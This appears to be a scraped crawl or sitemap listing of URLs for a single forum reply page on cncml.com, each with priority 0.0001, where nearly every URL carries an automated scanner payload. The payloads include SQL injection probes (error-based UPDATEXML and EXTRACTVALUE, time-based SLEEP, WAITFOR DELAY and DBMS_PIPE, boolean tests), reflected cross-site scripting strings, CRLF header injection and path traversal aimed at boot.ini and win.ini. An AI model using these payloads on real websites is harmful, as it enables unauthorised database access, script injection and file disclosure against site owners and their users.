http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=yes%5C' 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=yes%a8%a4%00xa7%a8%a4%a1%e9 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=yes%bf%27 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=yes' 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=yes'%20AND%20'7j'='7j 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=yes'%20AND%20'cY'='RD 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=yes'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20'NASDAQ'='NASDAQ 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=yes'%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20'Ta'='Ta 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=yes'%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20'TnT'='TnT 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=yes'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=yes'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=yes'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=yes'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=yes'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=yes'%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=yes'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'1'='1 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=yes'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'1'='1 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=yes'%20OR%20't5'='t5'%20LIMIT%20100%20-- 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=yes'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(24=51)%20THEN%20'yes'%20ELSE%200x28%20END))%20AND%20'4Q'='4Q 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=yes'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(78=78)%20THEN%20'yes'%20ELSE%200x28%20END))%20AND%20'OT'='OT 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=yes'%20WAITFOR%20DELAY%20'0:0:5'-- 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=yes'%22 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=yes'%22%5C'%5C%22%2527%3d%bf%27%B0 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=yes'%5B.%5D(,.)(%22 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=yes')%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20('NASDAQ'='NASDAQ 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=yes')%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20('Ta'='Ta 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=yes')%20AND%2019=72%20AND%20('81'='81 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=yes')%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=yes')%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=yes')%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=yes')%20AND%2071=71%20AND%20('aT'='aT 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=yes')%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=yes')%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=yes')%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=yes')%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20%23 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=yes')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(15=21)%20THEN%20'yes'%20ELSE%200x28%20END))%20AND%20('2m'='2m 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=yes')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(25=25)%20THEN%20'yes'%20ELSE%200x28%20END))%20AND%20('Ji'='Ji 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=yes')%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=yes'))%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=yes'),(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=yes',(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=yes';%20IF(18=13)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=yes';%20IF(46=46)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=yes';%20WAITFOR%20DELAY%20'0:0:5'-- 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=yes) 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=yes)%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20(2014=2014 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=yes)%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20(2014=2014 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=yes)%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=yes)%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=yes)%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=yes)%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=yes)%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=yes)%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=yes)%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20%23 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=yes)%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=yes),(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=yes);%20IF(31=18)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=yes);%20IF(85=85)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=yes,(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=yes6633x3X6 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=yesAND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5) 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=yesJyI%3D 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=yesalert(42873) 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&handlekey=fastpost&infloat=yese360 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=%0a%20SomeCustomInjectedHeader%3Ainjected_by_test 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=%0d%0a%20SomeCustomInjectedHeader%3Ainjected_by_test 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=%0d%0a%20SomeCustomInjectedHeader:injected_by_test 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=%3C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=%3Cdir 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=%7C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afboot.ini 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=(SELECT%20(CASE%20WHEN%20(77=12)%20THEN%200x66617374706F7374%20ELSE%2077*(SELECT%2077%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=(SELECT%20CHAR(116)%2bCHAR(104)%2bCHAR(105)%2bCHAR(110)%2bCHAR(107)%2bCHAR(58)%2b(SELECT%20(CASE%20WHEN%20(1943=1943)%20THEN%20CHAR(105)%20ELSE%20CHAR(48)%20END))%2bCHAR(58)%2bCHAR(100)%2bCHAR(105)%2bCHAR(102)%2bCHAR(102)%2bCHAR(101)%2bCHAR(114)%2bCHAR(101)%2bCHAR(110)%2bCHAR(116)) 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afboot.ini 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=................windowswin.ini 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././boot.ini 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=../../../../../../../../boot.ini 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=../../../../../../../../boot.ini%00 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=../../../../../../../../boot.ini%00.htm 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=../../../../../../../../boot.ini%00.html 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=../../../../../../../../boot.ini%00.jpg 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=../../../../../../../../boot.ini%00.txt 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=../..//../..//../..//../..//../..//../..//../..//../..//boot.ini 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=/.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./boot.ini 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=/some_inexistent_file_with_long_name 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=C:%5Cboot.ini 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=dir 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost 0.0015 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost!(%28%29&%26%21%7C*%7C%2A%7C 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost%00' 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost%20 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106) 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost%20AND%20SLEEP(5) 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%201=1 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%201=1 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost%22%20onmousemove='alert(42873)'wb=%22 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost%22%20onmousemove=alert(42873)%20wb=%22 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost%22%20onmouseover=prompt(42873)%20bad=%22 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost%22%20onmouseover=propromptmpt(42873)%20bad=%22 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost%25%27%29%20AND%2023%3D23%20AND%201%20like%28%27%25 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost%25%27%29%20AND%2095%3D37%20AND%201%20like%28%27%25 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost%25'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost%25'%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost%25'%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20'%25'=' 0.0001 